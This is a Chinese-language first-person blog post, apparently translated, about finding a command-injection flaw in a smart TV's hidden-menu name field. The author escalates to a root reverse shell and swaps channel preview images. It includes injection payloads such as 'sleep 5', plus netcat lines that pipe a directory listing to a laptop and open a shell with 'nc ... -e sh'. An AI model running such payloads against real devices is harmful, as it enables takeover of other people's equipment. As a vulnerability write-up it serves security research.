写在前面的话
那是一个慵懒的夜晚,经过了一天忙碌的工作之后,我只想躺在床上静静地看会儿电视。不过在此之前,有一个朋友送了我一台路由器,而我却在这台路由器中发现了一个安全漏洞,辛苦工作了一天,我也一直在努力克制自己不要再去想这个漏洞了,但是没办法,我还是不停地在想这个问题,因为能够在这种设备中发现漏洞绝对是一件非常有意思的事情,而这些漏洞不仅是普通用户无法发现的,而且甚至连产品的开发人员以及公司的技术支持部门都对此毫不知情。
故事开始
由于当晚我已经非常累了,因此我在电视上设置了一个睡眠时间之后便赶紧躺上床了。但是在设置睡眠时间的过程中出于职业本能,我翻看了一下设置选项菜单,看看有没有只对开发人员开放的功能。在用手机Google了一番之后,我发现这个牌子的智能电视有一个控制代码可以打开隐藏菜单。
接下来, 我通过远程控制在电视的设置菜单中输入了这段控制代码,然后屏幕左侧便弹出了一个菜单。但几乎所有的选项都是不可访问的,我只能访问其中一个名叫“Hotel Mode”(酒店模式)的选项,并查看电视的版本号。除此之外,还有一个名叫“info”(信息)的选项,打开它之后我发现了一件非常有意思的事情:我可以给我家的智能电视设置一个名字。
智能电视中的安全漏洞
如果你也是信息安全从业者,那么你可能会不由自主地在其他地方测试你平时所使用的payload,可以是路由器Web接口的一个GET参数,也可以是你打印机的控制面板,而我现在遇到的是一台智能电视。接下来,我突发奇想地把电视命名为了’sleep 5’。
设置完成之后,我的电视卡了好久都没响应。当它有反应之后,我又修改了电视的名称,我当时并不认为自己发现了一个命令注入漏洞,因为我的电视在更改设置之后,经常都会有几秒钟的卡顿,但这一次的卡得未免也有些太久了,所以这也勾起了我的好奇心。
由于卡顿时间已经超过了五秒,与电视名称里设置的‘5’并不匹配,因此我认为系统可能会对这个数字进行一些特殊处理。当然了,也有可能是因为电视不支持这个参数,而这个参数会引发电视出现异常,所以才会导致电视出现卡顿。但是当我尝试将其改名为‘sleep 0’之后,电视却并没有出现卡顿。
事实就摆在我的眼前,但是我却不知道其中缘由,所以我打算测量一下这个数字与时间之间的数学关系。原来,名称里的数字(我们所输入的)乘以3才是电视机真正的响应间隔时间,比如说:
sleep(2) – 6秒sleep(3) - 9秒sleep(5) - 15秒
在智能电视中执行远程命令
这你敢信?我的第一次尝试就找到了一个命令注入漏洞!但仅仅让菜单卡住并不能成为一个有说服力的PoC,而且在实际的漏洞利用过程中也没什么用。由于我们在这里只能输入31个字符,去掉两个引号之后,意味着我们的Payload只剩29个字符了。
下面给出的这个列表就是所以我尝试过的命令:
由于当时已是深夜,所以我果断上床睡觉了,并打算在第二天看看是否可以拿到电视机的shell。第二天起床之后,我便赶紧拿起笔记本电脑和网线开始干活,而让我欣喜若狂的是,我可以通过远程控制让智能电视运行系统指令。
拿到智能电视的Shell
我家的电视挂在墙上,所以插网线的过程让我有些“力不从心”,因为我的肩膀当时就因为这个弄脱臼了,但最终我还是把网线插了进去,然后与我的笔记本电脑相连接,并利用ipconfig命令查看笔记本的IP地址。
既然我已经知道了笔记本的IP地址,那么现在我只需要拿到笔记本的反向Shell(Reverse shell)即可,而无需知道电视机的IP地址。更重要的是,反向Shell可以绕过所有的防火墙规则(阻止进入的连接)。但是在此之前,我还需要更加深入地了解这台智能电视。
在智能电视上使用Netcat
我发现智能电视上默认安装了“nc”,所以我可以利用“nc”指令将特定命令的输出结果传回给笔记本电脑。当然了,我首先测试的是“id”,而运行结果可以让我知道自己是否拥有智能电视的root权限。
如上图所示,输出结果表明我已经拥有root权限了,虽然这没啥好惊讶的,但这仍是一个好消息。接下来,我准备利用`ls-la /|nc 169.254.56.216 5`这条命令来获取到根目录的文件列表。
目前一切顺利,但我还是没有拿到电视的Shell。考虑到电视机默认安装的“nc”版本允许我们使用“-e”参数,因此我们可以通过`nc 169.254.213.210 5 -e sh`这条命令来拿到一个反向Shell。
成功拿到智能电视的Shell
很好,我已经拿到了电视的Shell了,那么接下来的可能性就无限大了,比如说修改电视启动界面的Logo,或者修改应用的图标等等。由于这是一台智能电视,所以它会预安装很多例如Youtube或Skype这样的App。
我发现,智能电视绝大多数的文件系统都只有读权限(Read-Only),所以我没办法修改启动界面的Logo。但是电视里也有很多图片是会经常变化的,比如说当你在换频道的时候所显示的频道预览图,这些图片显示的就是各个频道的节目截图。很明显,这些图片需要在文件系统中的某个地方保存,而这个目录就是你可以实现读写的地方。
研究之后,我发现系统中所有的图标都是.png文件,但是当我通过命令“find/ -name *.png”来查找所有带有.png后缀的文件时,并没有找到这些预览图。然而,当我尝试用同样的方法搜索.jpg文件时,我发现了一些文件名类似channelImage123.jpg的文件,于是我便用其他的图片替换了相应的channelImage文件,结果如下图所示:
你家的智能电视也许并没有你想像的那么智能
物联网设备中的漏洞往往存在于很多非常不起眼的地方,而这些地方也是你很容易忽略的。当我在测试“sleep”命令时,我根本就没想过它可以触发漏洞,我只是无聊才用“sleep”设置电视名称的。除此之外,我之前也没有意识到我的智能电视是在Linux平台上运行的,而且我所发现的这个漏洞是可以被利用的,这着实让我不得不佩服自己了。
虽然这个漏洞无法远程利用,但我还是建议大家不要使用智能电视中某些不太智能的功能,因为我们谁也不想让别人来控制自家的电视。